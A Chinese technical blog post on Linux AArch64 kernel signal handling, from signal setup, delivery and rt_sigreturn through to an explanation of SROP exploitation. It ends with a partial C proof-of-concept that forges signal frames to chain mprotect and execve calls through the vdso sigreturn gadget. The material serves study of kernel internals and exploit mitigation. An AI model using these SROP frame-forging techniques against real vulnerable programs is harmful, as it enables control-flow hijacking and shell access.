版权声明:本文为CSDN博主「ashimida@」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/lidan113lidan/article/details/122547854更多内容可关注微信公众号
一、基本概念
信号是事件发生时对进程的通知机制,其与中断类似,在到达时都会打断程序的正常执行流程。一个进程(若具有权限则)可以向另一个进程或向自身发送信号,其可以作为一种同步技术或进程间通信的原始形式。发往进程的诸多信号通常都源于内核,引发内核为进程产生信号的事件包括:
每个信号在系统中都有唯一的编码,其编号随着系统的不同而不同,故程序中应该总是使用符号名来代表这些信号。
信号分为标准信号和实时信号, 在linux中编号1~31为标准信号 >31(<=64)的为实时信号。
信号在产生后可能会经历一段时间才会真正被处理(到达),在此过程中信号则处于pending(等待状态), 在内核返回用户态时才会检查信号是否到来,故:
* 若进程向其他进程发送信号,则通常总要有一段(极短的)pending的时间, 直到目标进程被调度到或目标进程正在运行时产生了el0异常.
* 若进程向自身发送信号,则通常在如*kill系统调用返回时此信号立即被处理。
有时为了确保一段代码不被打断,可以通过掩码来屏蔽部分信号,被屏蔽的信号会一直处于等待状态,直到接触屏蔽。
通过/proc/pid/status接口可以查看当前进程的信号:
## 实现代码参考内核 ./fs/proc/array.c task_sig tangyuan@ubuntu:~/tests/namespace$ cat /proc/xxx/status ...... SigQ: 1/31451 ## 当前进程信号队列中总共收到了多少个信号 SigPnd: 0000000000000000 ## 当前线程收到过哪些信号,SigPnd(signal pending)是收到的信号掩码 ShdPnd: 0000000000000200 ## 当前*线程组*共享队列中收到了哪些信号, ShdPnd(shared pending)是共享队列中收到的掩码,这里0x200代表收到信号为SIGUSR1 SigBlk: 0000000000000a00 ## 当前线程阻塞的信号掩码,当前SIGUSR1/2信号均被阻塞 SigIgn: 0000000000000000 ## 当前*线程组*忽略的信号,信号忽略是以线程组为单位的 SigCgt: 0000000000000a00 ## 当前*线程组* 捕获的信号,也就是自定义了信号处理函数的信号,当前SIGUSR1/2均自定义了信号处理函数 ......
linux中各信号的定义可参考[0], 这里需要注意的是:
1. 标准信号不排队,实时信号需排队处理
标准信号不做排队处理: 即内核某线程/线程组若收到某个标准信号,则在其被处理前是不会再次在pending队列中加入同一个标准信号的。这意味着若一个标准信号多次到达,其信号处理函数有可能只被调用了一次。
2. 内核线程也可以接收信号
虽然信号处理是为用户进程设计的,但在linux中内核线程也是可以接受信号的。和用户进程不同的是:
内核线程的信号处理可以参考内核线程函数 jffs2_garbage_collect_thread.
3. init进程不接受SIGKILL/SIGSTOP信号
见内核sig_task_ignored函数
二、信号处理函数的设置
从内核角度看,一个线程的信号可能保存在两个队列中:
通常信号是发送到线程组共享的信号队列的,此队列中的信号被线程组中的任意线程处理(一次)即可,而在用户态看来则是一个信号可能被线程组中的任一线程处理。而通过如tkill系统调用也可以将信号直接发送给线程的私有信号队列,此时虽然线程组中所有线程的信号处理函数是同一个,但可以确保此信号只会由某个具体的线程来处理。在内核中信号相关的结构体定义如下:
// task_struct中信号相关字段
struct task_struct {
......
struct signal_struct *signal;
struct sighand_struct __rcu *sighand;
sigset_t blocked;
sigset_t real_blocked;
sigset_t saved_sigmask;
struct sigpending pending;
unsigned long sas_ss_sp;
size_t sas_ss_size;
unsigned int sas_ss_flags;
......
}
//只记录部分相关结构体
struct signal_struct {
......
struct list_head thread_head;
......
struct sigpending shared_pending;
int group_exit_code;
int group_stop_count;
unsigned int flags;
struct pid *pids[PIDTYPE_MAX];
......
}
struct sighand_struct {
spinlock_t siglock;
refcount_t count;
wait_queue_head_t signalfd_wqh;
struct k_sigaction action[_NSIG];
};
struct k_sigaction {
struct sigaction sa;
......
};
struct sigaction {
__sighandler_t sa_handler;
unsigned long sa_flags;
sigset_t sa_mask;
};
各结构体关系如下图:
linux 用户态可以通过signal/sigaction函数设置信号处理函数,二者系统调用接口如下:
SYSCALL_DEFINE3(sigaction, int, sig, const struct old_sigaction __user *, act, struct old_sigaction __user *, oact); SYSCALL_DEFINE2(signal, int, sig, __sighandler_t, handler);
二者最终均调用了do_sigaction函数,这里以简单的sys_signal函数为例:
SYSCALL_DEFINE2(signal, int, sig, __sighandler_t, handler)
{
struct k_sigaction new_sa, old_sa;
int ret;
new_sa.sa.sa_handler = handler;
new_sa.sa.sa_flags = SA_onESHOT | SA_NOMASK;
sigemptyset(&new_sa.sa.sa_mask);
ret = do_sigaction(sig, &new_sa, &old_sa);
return ret ? ret : (unsigned long)old_sa.sa.sa_handler;
}
do_sigaction:
int do_sigaction(int sig, struct k_sigaction *act, struct k_sigaction *oact)
{
struct task_struct *p = current, *t;
struct k_sigaction *k;
sigset_t mask;
if (!valid_signal(sig) || sig < 1 || (act && sig_kernel_only(sig)))
return -EINVAL;
k = &p->sighand->action[sig-1];
if (oact)
*oact = *k;
.......
if (act) {
sigdelsetmask(&act->sa.sa_mask, sigmask(SIGKILL) | sigmask(SIGSTOP));
*k = *act;
if (sig_handler_ignored(sig_handler(p, sig), sig)) {
sigemptyset(&mask);
sigaddset(&mask, sig);
flush_sigqueue_mask(&mask, &p->signal->shared_pending);
for_each_thread(p, t)
flush_sigqueue_mask(&mask, &t->pending);
}
}
return 0;
}
三、信号的发送
这里以用户态入口系统调用sys_kill为例,其定义如下:
SYSCALL_DEFINE2(kill, pid_t, pid, int, sig)
{
struct kernel_siginfo info;
prepare_kill_siginfo(sig, &info);
return kill_something_info(sig, &info, pid);
}
static int kill_something_info(int sig, struct kernel_siginfo *info, pid_t pid)
{
int ret;
if (pid > 0)
return kill_proc_info(sig, info, pid);
......
return ret;
}
//这里以pid>0为例,kill_proc_info函数会依次调用到 _send_signal处理信号,在此过程中会调用check_kill_permission检查发送权限
//kill_proc_info => kill_pid_info => group_send_sig_info => do_send_sig_info => send_signal
static int __send_signal(int sig, struct kernel_siginfo *info, struct task_struct *t,
enum pid_type type, bool force)
{
struct sigpending *pending;
struct sigqueue *q;
int ret = 0, result;
......
if (!prepare_signal(sig, t, force)) goto ret;
pending = (type != PIDTYPE_PID) ? &t->signal->shared_pending : &t->pending;
......
if (legacy_queue(pending, sig))
goto ret;
......
if ((sig == SIGKILL) || (t->flags & PF_KTHREAD))
goto out_set;
......
q = __sigqueue_alloc(sig, t, GFP_ATOMIC, override_rlimit, 0);
if (q) {
list_add_tail(&q->list, &pending->list);
......
} else
......
out_set:
signalfd_notify(t, sig);
sigaddset(&pending->signal, sig);
if (type > PIDTYPE_TGID) {
.......
}
complete_signal(sig, t, type);
ret:
......
return ret;
}
其中prepare_signal定义如下:
static bool prepare_signal(int sig, struct task_struct *p, bool force)
{
struct signal_struct *signal = p->signal;
struct task_struct *t;
sigset_t flush;
if (signal->flags & (SIGNAL_GROUP_EXIT | SIGNAL_GROUP_COREDUMP)) {
if (!(signal->flags & SIGNAL_GROUP_EXIT))
return sig == SIGKILL;
} else if (sig_kernel_stop(sig)) {
.......
} else if (sig == SIGCONT) {
.......
}
return !sig_ignored(p, sig, force);
}
static bool sig_ignored(struct task_struct *t, int sig, bool force)
{
if (sigismember(&t->blocked, sig) || sigismember(&t->real_blocked, sig))
return false;
.......
return sig_task_ignored(t, sig, force);
}
static bool sig_task_ignored(struct task_struct *t, int sig, bool force)
{
void __user *handler;
handler = sig_handler(t, sig);
if (unlikely(is_global_init(t) && sig_kernel_only(sig)))
return true;
.......
if (unlikely((t->flags & PF_KTHREAD) &&
(handler == SIG_KTHREAD_KERNEL) && !force))
return true;
return sig_handler_ignored(handler, sig);
}
其中complete_signal函数定义如下:
static void complete_signal(int sig, struct task_struct *p, enum pid_type type)
{
struct signal_struct *signal = p->signal;
struct task_struct *t;
if (wants_signal(sig, p))
t = p;
else if ((type == PIDTYPE_PID) || thread_group_empty(p))
return;
else {
t = signal->curr_target;
while (!wants_signal(sig, t)) {
t = next_thread(t);
if (t == signal->curr_target)
return;
}
signal->curr_target = t;
}
......
signal_wake_up(t, sig == SIGKILL);
return;
}
static inline bool wants_signal(int sig, struct task_struct *p)
{
if (sigismember(&p->blocked, sig))
return false;
if (p->flags & PF_EXITING)
return false;
if (sig == SIGKILL)
return true;
if (task_is_stopped_or_traced(p))
return false;
return task_curr(p) || !task_sigpending(p);
}
static inline void signal_wake_up(struct task_struct *t, bool resume)
{
signal_wake_up_state(t, resume ? TASK_WAKEKILL : 0);
}
void signal_wake_up_state(struct task_struct *t, unsigned int state)
{
set_tsk_thread_flag(t, TIF_SIGPENDING);
if (!wake_up_state(t, state | TASK_INTERRUPTIBLE))
kick_process(t);
}
四、信号的处理与等待
4.1 信号处理概述
1. 信号处理的时机
1. 信号处理的时机
由前可知,信号发送操作除了将具体信号设置到线程的共享/私有队列外,还会为此线程标记TIF_SIGPENDING flags(若当前线程block了信号,则有可能会发送给线程组其他线程), 不论线程收到了多少个信号都会通过这一个flag标记, 只要线程的tsk->flags 标记了 TIF_SIGPENDING则就说明此线程收到了信号。
内核在检查是否有信号到达时同样检查的也是线程的TIF_SIGPENDING flag, 内核中的信号处理可以分为两种场景:
1) 内核返回用户态时检查并处理信号
由于信号在多大多数情况下是给用户态进程使用的,故比较常见的是此场景, 通常从EL0异常入口进入内核并返回到用户态之前都会检查当前线程是否有要处理的信号,如:
EL0同步异常, 如EL0发起的系统调用, 指令/数据访问错误.EL0异步异常, 如EL0时发生的IRQ中断.
2) 内核线程通过循环检查自身的信号
这种场景比较少见, 偶尔出现在一些需要与用户态交互的内核线程中, 此时内核线程可以决定只接受内核发送的信号(SIG_KTHREAD_KERNEL),也可以接受用户态信号(SIG_KTHREAD). 和用户态显著的区别在于, 内核信号更类似一个个case,其不能指定信号处理函数,内核线程中需要自己实现代码来循环检测是否有信号出现(内核线程不会执行到1的流程,故若收到信号必须主动处理) 在情景1/2中内核均通过类似signal_pending的逻辑判断当前线程是否有需要处理的信号.
2、信号处理流程描述
内核在返回用户态之前检查并处理信号, 当前线程首先会无视(不忽略也不处理)其自身阻塞的信号,对于未被阻塞的信号分为三种情况:
1) 使用默认行为的信号(SIG_DFL)
如果默认行为是忽略此信号,则内核直接忽略此信号如果默认行为是终止/停止/继续,则内核直接处理
2) 直接忽略的信号(SIG_IGN)
3) 需要执行handler的信号
需要注意的是:
1) 阻塞是以线程为单位的:
线程组共享的信号(常规信号)被一个线程阻塞并不代表其不能被处理, 同一线程组的任一其他线程均可处理此信号。
2) 用户态上下文:
用户态代码执行到任意位置时都有可能有异常触发, 不论是同步/异步异常在返回时都会检查当前进程是否有信号要处理, 对于需要执行信号处理函数的信号其被中断前的用户态上下文必须得以保存,否则信号处理函数执行完毕后无法恢复原有运行环境. 在linux中此用户态上下文是被在异常发生时存储,在信号处理函数执行的过程中被保存在用户/信号栈中的,在信号处理完毕后同样需要从栈中恢复。
3) 信号上下文:
信号上下文指的是信号处理函数的上下文,主要包括:
PC: 即信号处理函数的指针
4) 当异常返回前发现多个信号处理函数时:
异常返回前会循环遍历所有未被当前线程block的信号,如果有多个信号均需要执行信号处理函数, 那么内核会在进程栈中依次堆叠多个信号栈帧, 如某线程依次收到了需要执行handler的 sig1/sig2两个信号, 则内核会先为sig1设置栈帧,然后为sig2设置栈帧。而最终用户态的执行流程是 sig2_handler => sys_rt_sigreturn => sig1_handler => sys_rt_sigreturn => 用户态上下文, 即后到的信号被优先处理(举例见备注)。
5) 当信号处理函数执行过程中再次被信号中断时:
若用户态正在执行信号处理函数,此时没有被当前线程block的信号可能导致此信号处理程序被再次中断,同样是后到的信号被优先处理,但不同的是此时可能导致竞态死锁问题(信号处理函数需要设计为可重入).
6) 安全性分析:
这里的安全性分析仅针信号处理过程中是否会导致权限提升,并不针对如SROP等利用信号处理的利用方式。信号处理的过程中在用户栈中保存了用户态上下文,在信号处理完成后需要内核(sys_rt_sigreturn)为用户态恢复此上下文,用户态上下文的数据包括:
struct ucontext {
unsigned long uc_flags;
struct ucontext *uc_link;
stack_t uc_stack;
sigset_t uc_sigmask;
__u8 __unused[1024 / 8 - sizeof(sigset_t)];
struct sigcontext uc_mcontext;
};
struct sigcontext {
__u64 fault_address;
__u64 regs[31];
__u64 sp;
__u64 pc;
__u64 pstate;
__u8 __reserved[4096];
};
用户态跳转到/修改任何用户态数据均不会有权限问题,其中唯一的问题就是内核在信号返回时会从用户态读取pstate并恢复到内核的CPSR_EL1; pstate中记录了一些需要恢复的如比较j结果,是否溢出等,但同时也记录了一些安全相关的如当前异常级别等bit位,故如果不加检查的直接从用户态恢复此值则攻击者可以轻易利用信号处理来提升异常级别(如用户态由EL0=>EL1), 内核处理的方式则是恢复用户态上下文之前添加了一个检查函数valid_user_regs,以确保pstate的正确性,代码如下:
int valid_user_regs(struct user_pt_regs *regs, struct task_struct *task)
{
user_regs_reset_single_step(regs, task);
if (is_compat_thread(task_thread_info(task)))
return valid_compat_regs(regs);
else
return valid_native_regs(regs);
}
static int valid_native_regs(struct user_pt_regs *regs)
{
regs->pstate &= ~SPSR_EL1_AARCH64_RES0_BITS;
if (user_mode(regs) && !(regs->pstate & PSR_MODE32_BIT) &&
(regs->pstate & PSR_D_BIT) == 0 &&
(regs->pstate & PSR_A_BIT) == 0 &&
(regs->pstate & PSR_I_BIT) == 0 &&
(regs->pstate & PSR_F_BIT) == 0) {
return 1;
}
regs->pstate &= PSR_N_BIT | PSR_Z_BIT | PSR_C_BIT | PSR_V_BIT;
return 0;
}
3、信号处理举例
测试代码:
#include #include#include #include #include #include #include #include void siguser2_handler(int signo, siginfo_t *info, void *ctx) { struct ucontext *uc = ctx; unsigned long *fp = __builtin_frame_address(0); unsigned long *lr = __builtin_return_address(0); printf("[+][siguser2]: current fp:%p, lr:%pn", fp, lr); printf("[+][siguser2]: ucontext:%p, size:%xn", uc, sizeof(struct ucontext)); printf("[+][siguser2]: prev context: pc:%p, sp:%p, lr:%pn", uc->uc_mcontext.pc, uc->uc_mcontext.sp, uc->uc_mcontext.regs[30]); return; } void siguser1_handler(int signo, siginfo_t *info, void *ctx) { struct ucontext *uc = ctx; unsigned long *fp = __builtin_frame_address(0); unsigned long *lr = __builtin_return_address(0); printf("[+][siguser1]: current fp:%p, lr:%pn", fp, lr); printf("[+][siguser1]: ucontext:%p, size:%xn", uc, sizeof(struct ucontext)); printf("[+][siguser1]: prev context: pc:%p, sp:%p, lr:%pn", uc->uc_mcontext.pc, uc->uc_mcontext.sp, uc->uc_mcontext.regs[30]); return; } int main() { struct sigaction act; sigset_t set, oldset; printf("[+] current pid:%d, setting siguser1_handler:%p, siguser2_handler:%p ...n", getpid(), siguser1_handler, siguser2_handler); act.sa_sigaction = siguser1_handler; act.sa_flags = SA_SIGINFO; sigemptyset(&act.sa_mask); sigaction(SIGUSR1, &act, NULL); act.sa_sigaction = siguser2_handler; sigaction(SIGUSR2, &act, NULL); printf("[+] setting mask for SIGUSR1/2 ...n"); sigemptyset(&set); sigemptyset(&oldset); sigaddset(&set, SIGUSR1); sigaddset(&set, SIGUSR2); sigprocmask(SIG_SETMASK, &set, &oldset); printf("[+] sending signal SIGUSR1 ...n"); kill(getpid(), SIGUSR1); printf("[+] sending signal SIGUSR2 ...n"); kill(getpid(), SIGUSR2); printf("[+] unmask SIGUSR1/2 ...n"); sigprocmask(SIG_SETMASK, &oldset, NULL); char buf1[] = "[+] runing in mainn"; write(1, buf1, sizeof(buf)); return 0; }
输出结果:
/ # ./main [4/7606] [+] current pid:112, setting siguser1_handler:0x400838, siguser2_handler:0x4007ac ... [+] setting mask for SIGUSR1/2 ... [+] sending signal SIGUSR1 ... [+] sending signal SIGUSR2 ... [+] unmask SIGUSR1/2 ... [+][siguser2]: current fp:0xffffc46aac60, lr:0xffff9c2b6888 ## siguser2返回地址为 sys_rt_sigreturn [+][siguser2]: ucontext:0xffffc46aad30, size:11d0 [+][siguser2]: prev context: pc:0x400838, sp:0xffffc46abf10, lr:0xffff9c2b6888 ## siguser2上一个栈帧pc为siguser1_handler,其一句都尚未执行 ## siguser1的返回地址也是 sys_rt_sigreturn [+][siguser1]: current fp:0xffffc46abec0, lr:0xffff9c2b6888 ## siguser1的返回地址为 sys_rt_sigreturn(同上) [+][siguser1]: ucontext:0xffffc46abf90, size:11d0 [+][siguser1]: prev context: pc:0x413b8c, sp:0xffffc46ad170, lr:0x4056cc ## siguser1上一个栈帧为系统调用的下一条指令(__pthread_sigmask中svc的下一条指令) ## siguser1上一个栈帧的返回地址即为__pthread_sigmask的返回地址(__sigprocmask函数中的地址) [+] runing in main ## 进程映射 00400000-0047a000 r-xp 00000000 00:02 5 /main 0048a000-0048b000 r--p 0007a000 00:02 5 /main 0048b000-0048d000 rw-p 0007b000 00:02 5 /main 0048d000-00496000 rw-p 00000000 00:00 0 25b2e000-25b50000 rw-p 00000000 00:00 0 [heap] ffff9c2b4000-ffff9c2b6000 r--p 00000000 00:00 0 [vvar] ffff9c2b6000-ffff9c2b7000 r-xp 00000000 00:00 0 [vdso] ffffc468d000-ffffc46ae000 rw-p 00000000 00:00 0 [stack]
整个信号处理的代码执行流程如下图所示:
4.2 EL0异常返回前的中断检查与处理
EL0中不论是同步/异步异常,最终均会调用函数 exit_to_user_mode返回用户态, 此函数中负责检查当前线程是否有需要处理的信号,定义如下:
static __always_inline void exit_to_user_mode(struct pt_regs *regs)
{
prepare_exit_to_user_mode(regs);
mte_check_tfsr_exit();
__exit_to_user_mode();
}
static __always_inline void prepare_exit_to_user_mode(struct pt_regs *regs)
{
unsigned long flags;
local_daif_mask();
flags = READ_onCE(current_thread_info()->flags);
if (unlikely(flags & _TIF_WORK_MASK))
do_notify_resume(regs, flags);
}
void do_notify_resume(struct pt_regs *regs, unsigned long thread_flags)
{
do {
if (thread_flags & _TIF_NEED_RESCHED) {
local_daif_restore(DAIF_PROCCTX_NOIRQ);
schedule();
} else {
local_daif_restore(DAIF_PROCCTX);
.......
if (thread_flags & (_TIF_SIGPENDING | _TIF_NOTIFY_SIGNAL))
do_signal(regs);
.......
}
local_daif_mask();
thread_flags = READ_onCE(current_thread_info()->flags);
} while (thread_flags & _TIF_WORK_MASK);
}
其中do_signal是信号处理的入口,此函数一次处理一个信号,其定义如下:
static void do_signal(struct pt_regs *regs)
{
unsigned long continue_addr = 0, restart_addr = 0;
int retval = 0;
struct ksignal ksig;
bool syscall = in_syscall(regs);
if (syscall) {
continue_addr = regs->pc;
restart_addr = continue_addr - (compat_thumb_mode(regs) ? 2 : 4);
retval = regs->regs[0];
forget_syscall(regs);
switch (retval) {
case -ERESTARTNOHAND:
case -ERESTARTSYS:
case -ERESTARTNOINTR:
case -ERESTART_RESTARTBLOCK:
regs->regs[0] = regs->orig_x0;
regs->pc = restart_addr;
break;
}
}
if (get_signal(&ksig)) {
......
handle_signal(&ksig, regs);
return;
}
......
}
其中do_signal=>get_signal负责从信号队列中获取一个信号,其定义如下:
bool get_signal(struct ksignal *ksig)
{
struct sighand_struct *sighand = current->sighand;
struct signal_struct *signal = current->signal;
int signr;
if (unlikely(current->task_works))
task_work_run();
......
relock:
spin_lock_irq(&sighand->siglock);
......
for (;;) {
struct k_sigaction *ka;
......
signr = dequeue_synchronous_signal(&ksig->info);
if (!signr)
signr = dequeue_signal(current, ¤t->blocked, &ksig->info);
if (!signr) break;
ka = &sighand->action[signr-1];
......
if (ka->sa.sa_handler == SIG_IGN)
continue;
if (ka->sa.sa_handler != SIG_DFL) {
ksig->ka = *ka;
if (ka->sa.sa_flags & SA_ONESHOT)
ka->sa.sa_handler = SIG_DFL;
break;
}
if (sig_kernel_ignore(signr))
continue;
if (sig_kernel_stop(signr)) {
......
}
fatal:
.......
if (sig_kernel_coredump(signr)) {
.......
do_coredump(&ksig->info);
}
.......
do_group_exit(ksig->info.si_signo);
}
spin_unlock_irq(&sighand->siglock);
out:
ksig->sig = signr;
......
return ksig->sig > 0;
}
其中do_signal=>get_signal=>dequeue_synchronous_signal/dequeue_signal逻辑类似,这里仅以dequeue_signal为例:
int dequeue_signal(struct task_struct *tsk, sigset_t *mask, kernel_siginfo_t *info)
{
bool resched_timer = false;
int signr;
signr = __dequeue_signal(&tsk->pending, mask, info, &resched_timer);
if (!signr) {
signr = __dequeue_signal(&tsk->signal->shared_pending, mask, info, &resched_timer);
......
}
recalc_sigpending();
if (!signr) return 0;
.......
return signr;
}
在确定信号需要执行handler后, do_signal=>handle_signal负责将handler函数指针设置到用户态执行上下文中,其代码如下:
static void handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
sigset_t *oldset = sigmask_to_save();
int usig = ksig->sig;
int ret;
......
ret = setup_rt_frame(usig, ksig, oldset, regs);
ret |= !valid_user_regs(®s->user_regs, current);
.......
}
其中setup_rt_frame负责在用户态栈上保存异常前的执行环境,并设置用户态返回后直接跳转到信号处理函数:
struct rt_sigframe {
struct siginfo info;
struct ucontext uc;
};
struct frame_record {
u64 fp;
u64 lr;
};
static int setup_rt_frame(int usig, struct ksignal *ksig, sigset_t *set, struct pt_regs *regs)
{
struct rt_sigframe_user_layout user;
struct rt_sigframe __user *frame;
int err = 0;
......
if (get_sigframe(&user, ksig, regs))
return 1;
frame = user.sigframe;
......
err |= setup_sigframe(&user, regs, set);
if (err == 0) {
setup_return(regs, &ksig->ka, &user, usig);
if (ksig->ka.sa.sa_flags & SA_SIGINFO) {
err |= copy_siginfo_to_user(&frame->info, &ksig->info);
regs->regs[1] = (unsigned long)&frame->info;
regs->regs[2] = (unsigned long)&frame->uc;
}
}
return err;
}
4.3 中断处理函数执行完毕后恢复用户态上下文
由上可知,当内核发现一个信号需要执行信号处理函数时, 会保存当前用户态上下文并重置为信号处理的上下文。
当前用户态上下文是保存在用户态栈中, 信号处理函数执行完毕后需要恢复到原有用户态上下文执行, 这一步上下文恢复操作是通过sys_rt_sigreturn系统调用完成的, 在设置信号处理上下文时setup_rt_frame会设置其返回地址为__kernel_rt_sigreturn, 这样信号处理函数执行完毕后即可以无感知的通过正常函数返回(ret)跳转并执行sys_rt_sigreturn系统调用,sys_rt_sigreturn定义如下:
SYSCALL_DEFINE0(rt_sigreturn)
{
struct pt_regs *regs = current_pt_regs();
struct rt_sigframe __user *frame;
......
frame = (struct rt_sigframe __user *)regs->sp;
if (!access_ok(frame, sizeof (*frame)))
goto badframe;
if (restore_sigframe(regs, frame))
goto badframe;
.......
return regs->regs[0];
badframe:
arm64_notify_segfault(regs->sp);
return 0;
}
其中restore_sigframe用来从用户态栈帧恢复原本的用户态上下文,其定义如下:
static int restore_sigframe(struct pt_regs *regs, struct rt_sigframe __user *sf)
{
sigset_t set;
int i, err;
struct user_ctxs user;
err = __copy_from_user(&set, &sf->uc.uc_sigmask, sizeof(set));
if (err == 0)
set_current_blocked(&set);
for (i = 0; i < 31; i++)
__get_user_error(regs->regs[i], &sf->uc.uc_mcontext.regs[i], err);
__get_user_error(regs->sp, &sf->uc.uc_mcontext.sp, err);
__get_user_error(regs->pc, &sf->uc.uc_mcontext.pc, err);
__get_user_error(regs->pstate, &sf->uc.uc_mcontext.pstate, err);
forget_syscall(regs);
err |= !valid_user_regs(®s->user_regs, current);
......
return err;
}
4.4 内核线程信号处理举例
这里以内核线程 jffs2_garbage_collect_thread为例:
static int jffs2_garbage_collect_thread(void *_c)
{
.......
siginitset(&hupmask, sigmask(SIGHUP));
allow_signal(SIGKILL);
allow_signal(SIGSTOP);
allow_signal(SIGHUP);
.......
for (;;) {
.......
while (signal_pending(current) || freezing(current)) {
.......
signr = kernel_dequeue_signal();
switch(signr) {
case SIGSTOP:
jffs2_dbg(1, "%s(): SIGSTOP receivedn", __func__);
kernel_signal_stop();
break;
case SIGKILL:
jffs2_dbg(1, "%s(): SIGKILL receivedn", __func__);
goto die;
case SIGHUP:
jffs2_dbg(1, "%s(): SIGHUP receivedn", _func__);
break;
default:
jffs2_dbg(1, "%s(): signal %ld receivedn",
__func__, signr);
}
}
.......
}
五、SROP原理与安全性分析
在DEP(Data Execution Prevention)普遍部署之后, 控制流劫持后跳转到数据执行shellcode(如栈溢出后跳转到栈执行)的方式就基本无法使用了。攻击者通常只能通过ret2xxx(如ret2libc/ROP/JOP)的方式执行其所需要的代码逻辑,但构建这样的执行序列通常并不容易,以ROP(Return Orientend Programming)为例,攻击者通常需要满足以下前提:
1) 攻击者可以在目标应用中收集到足够多的gadgets且可以确定其运行时地址
2) 攻击者可以在程序运行时将适合的数据布局到栈中
3) 攻击者可以利用漏洞劫持控制流并跳转到第一个gadget
对于 1) 来说能否满足条件:
gadget消除技术可能导致无法获取所需的gadgetsASLR随机化会使获取gadgets的运行时地址更加困难
而 SROP(Sigreturn Orientend Programming)[1,2]的出现则可以解决1)中遇到的绝大多数问题:
ASLR最多只需要一个infoleak即可获取sigreturn地址,在某些系统中此地址甚至是固定的。sigreturn是信号处理必须的系统调用,从Unix开始就一直存在超过40年, 此gadget在二进制中难以被消除。
以AArch64为例, 由前面可知在信号处理的过程中:
- 内核不负责保存信号处理函数执行前的用户态上下文,这些信息会保存在用户态栈帧中
- 内核返回用户态执行信号处理之前会设置信号处理函数的返回地址(x30)指向[vdso]中的__kernel_rt_sigreturn函数信号处理函数执行完毕后通过ret指令跳转到__kernel_rt_sigreturn.__kernel_rt_sigreturn通过svc指令调用系统调用sys_[rt_]sigreturn,从用户态栈中恢复信号前的用户态上下文,最终返回到用户态的此上下文继续执行,此函数定义如下:
##内核代码
##./arch/arm64/kernel/vdso/sigreturn.S
SYM_CODE_START(__kernel_rt_sigreturn)
mov x8, #__NR_rt_sigreturn
svc #0
SYM_CODE_END(__kernel_rt_sigreturn
## 用户态运行时的vdso
00400000-00479000 r-xp 00000000 00:02 5 /main
00489000-0048a000 r--p 00079000 00:02 5 /main
0048a000-0048c000 rw-p 0007a000 00:02 5 /main
0048c000-0048f000 rw-p 00000000 00:00 0
28044000-28066000 rw-p 00000000 00:00 0 [heap]
ffffa0c63000-ffffa0c65000 r--p 00000000 00:00 0 [vvar]
ffffa0c65000-ffffa0c66000 r-xp 00000000 00:00 0 [vdso]
fffff31e5000-fffff3206000 rw-p 00000000 00:00 0 [stack]
__kernel_rt_sigreturn:
0xffffa0c6585c: mov x8, #0x8b // #139 __NR_rt_sigreturn
0xffffa0c65860: svc #0x0 //d4000001
这也就意味着只要攻击者控制了当前栈帧并执行一个sys_rt_sigreturn后,既可以控制当前用户态的所有通用硬件寄存器,包括:
简单说sigreturn实际上就是一个能力极其强大的gadget,其可以完成任何参数设置,控制流转移,返回地址设置,堆栈指针修改操作。且由于sigreturn中本身就存在一条svc指令,攻击者同时还可以复用此gadget执行一次execve来获取本地shell。利用SROP执行execve的流程如下图:
但需要注意的是如果使用SROP来chain多个系统调用时,则还需一个额外的 syscall& ret; gadget, 这是因为 __kernel_rt_sigreturn中虽然有一个可用的svc指令,但其后面通常没有ret指令,因此此svc指令其不能用来链接gadget chain。 如当攻击者需要执行如 mprotect + shellcode时, 则需要找到一个 svc 0; ret; 指令序列来确保 mprotect系统调用执行完毕后会有一条ret指令可以返回到sigreturn 设置的lr寄存器位置。以下代码可用来简单测试SROP和基于SROP的syscall chain:
#include#include #include #include #include #include #include #include #include #include #define _ROUND_UP(x,n) (((x)+(n)-1u) & ~((n)-1u)) #define ROUND_UP(x) _ROUND_UP(x,16LL) #define ROUND_DOWN(x) ((x) & (~((16LL)-1))) struct sigframe { siginfo_t info; struct ucontext uc; }; struct sigframe g_backup; void * sigreturn_addr; void * syscall_ret_addr; void syscall_ret(void) { asm("svc 0nt" :::); } void action(int signo, siginfo_t *info, void *ctx) { struct sigframe *sf = (void *)info; if(&sf->uc != ctx) { printf("[-] sigframe struct size mismatchn"); exit(0); } sigreturn_addr = __builtin_return_address(0); g_backup.info = *info; g_backup.uc = *(struct ucontext *)ctx; return; } void get_sys_from_signal(void) { struct sigaction act; sigset_t set, oldset; act.sa_sigaction = action; act.sa_flags = SA_SIGINFO; sigemptyset(&act.sa_mask); sigemptyset(&set); sigemptyset(&oldset); sigaddset(&set, SIGUSR1); sigaction(SIGUSR1, &act, NULL); sigprocmask(SIG_SETMASK, &set, &oldset); kill(getpid(), SIGUSR1); sigprocmask(SIG_SETMASK, &oldset, NULL); } void env_init(void) { get_sys_from_signal(); syscall_ret_addr = &syscall_ret; if(!sigreturn_addr) { printf("[-] sigreturn_addr not set.n"); return 0; } printf("[+] sigreturn addr:%p, syscall_ret addr:%pn", sigreturn_addr, syscall_ret_addr); } void show_maps(void) { int ret; char buf[0x100]; int fd = open("/proc/self/maps", O_RDONLY); do { memset(buf, 0, sizeof(buf)); ret = read(fd, buf, sizeof(buf)); write(1, &buf, ret); } while(ret); write(1, "n", 1); close(fd); } void vul_trigger(unsigned long * new_sp) { asm("mov sp, %0nt" : :"r"(new_sp) :); register volatile unsigned long lr asm("x30") = sigreturn_addr; asm("retnt"); } void stuff_sigframe3(struct sigframe * sf, int scno, void * pc, void * lr, void * sp, void * arg0, void * arg1, void *arg2) { struct ucontext * uc = &sf->uc; memset(sf, 0, sizeof(struct sigframe)); uc->uc_mcontext = g_backup.uc.uc_mcontext; uc->uc_mcontext.regs[30] = lr; uc->uc_mcontext.pc = pc; uc->uc_mcontext.sp = sp; uc->uc_mcontext.regs[8] = scno; uc->uc_mcontext.regs[0] = arg0; uc->uc_mcontext.regs[1] = arg1; uc->uc_mcontext.regs[2] = arg2; } void sigframe_push_mprotect(struct sigframe * frame, void * addr, unsigned long size, int prot, void * pc, void * lr, void * sp) { printf("[+] add to sigframe(%016p): mprotect(%p, %x, %x); n", frame, addr, size, prot); stuff_sigframe3(frame, SYS_mprotect, pc, lr, sp, addr, size, prot); } void sigframe_push_exec(struct sigframe * frame, char * name, void * argv, void * envp, void * pc, void * sp, void * lr) { printf("[+] add to sigframe(%016p): execve(%s, %p, %p); n", frame, name, argv, envp); stuff_sigframe3(frame, SYS_execve, pc, lr, sp, name, argv, envp); } void test_mprotect(void * sigret_stack, void * addr, int size, int prot) { 